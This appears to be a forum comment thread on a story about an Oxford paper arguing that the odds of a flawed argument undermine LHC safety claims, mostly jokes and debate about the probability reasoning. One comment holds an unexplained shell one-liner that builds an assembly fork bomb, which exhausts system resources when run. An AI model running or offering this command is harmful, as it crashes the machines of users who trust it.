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Miscalculation Invalidates LHC Safety Assurances
KentuckyFC writes "In a truly frightening study, physicists at the University of Oxford have identified a massive miscalculation that makes the LHC safety assurances more or less invalid (abstract). The focus of their work is not the safety of particle accelerators per se but the chances of any particular scientific argument being wrong. 'If the probability estimate given by an argument is dwarfed by the chance that the argument itself is flawed, then the estimate is suspect,' say the team. That has serious implications for the LHC, which some people worry could generate black holes that will swallow the planet. Nobody at CERN has put a figure on the chances of the LHC destroying the planet. One study simply said: 'there is no risk of any significance whatsoever from such black holes.' The danger is that this thinking could be entirely flawed, but what are the chances of this? The Oxford team say that roughly one in a thousand scientific papers have to be withdrawn because of errors but generously suppose that in particle physics, the rate is one in 10,000."
If they are correct, what are the chances they are wrong (or right)?
Choosing the lesser of two evils is a choice for evil.
I STILL don't think the LHC will kill us all but the fact we're debating it says something.
I don't know what you're trying to imply here.
People are still debating evolution.
Buckle your ROFL belt, we're in for some LOLs.
My retirement fund is pretty much crushed at this point.
Being consumed by black holes created by a multibillion dollar scientific whiz-ma-gig is sounding like a pretty good exit plan.
"Anyone Who Thinks the LHC Will Destroy the World is a Twat"
He's a particle physicist from my physics department (Manchester), and hence let it be known Oxford physicists are twats!
'If the probability estimate given by an argument is dwarfed by the chance that the argument itself is flawed, then the estimate is suspect,'
But if the improbability is large enough, and you hook it up to a nice, hot cup of tea; then we'll travel instantaneously through every point of the Universe, and possibly create a worried-looking whale and a bowl of petunias.
... and then they built the supercollider.
Well if we want to find out who's right, we can just keep an eye on their webcam for anything suspicious.
I'm fuzzy on the whole good/bad thing. What do you mean "bad"?
Yeah it is voodoo. If I calculate that there is a 1:10^20 chance an asteroid will destroy the earth this month, and someone else figures there is a 1:50 chance I am wrong, that does not make the odds of an asteroid destroying the earth 1:50. As wrong as the person calculating the odds are, the odds are still going to be incredibly small.
If what you were saying was true we could destroy the earth by having a 10 year old do the calculations since they would almost certainly be wrong.
We hope your rules and wisdom choke you / Now we are one in everlasting peace
Who would remember if we all died?
The race of intelligent beings who, millions of years from now, finds a small black hole orbiting a star, with a flag on its moon.
Honestly, if the human race has to end, that is exactly how I want us to go out.
No need for that. You can subscribe to this RSS feed
http://www.hasthelhcdestroyedtheearth.com/rss.xml
This is funny too
http://www.hasthelhcdestroyedtheearth.com/robots.txt
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I am sorry, The THEORY of evolution and the THEORY of creation both imply that I am somehow related to the people who make LOL cats and I just can not accept that. I CAN NOT accept that.
How many times can we roll the dice before our luck runs out?
Every single time. After that, there won't be any more dice to roll, or anyone to roll them if they did exist.
If we had some dice, we could roll them, if we existed.
Infuriate left and right
I have calculated that there is almost no chance of money spontaneously raining out of the sky above me. However, I was drunk when I made those calculations, so they are most certainly wrong.
*waits expectantly*
Yes, yes, but what is it if I look inside the box?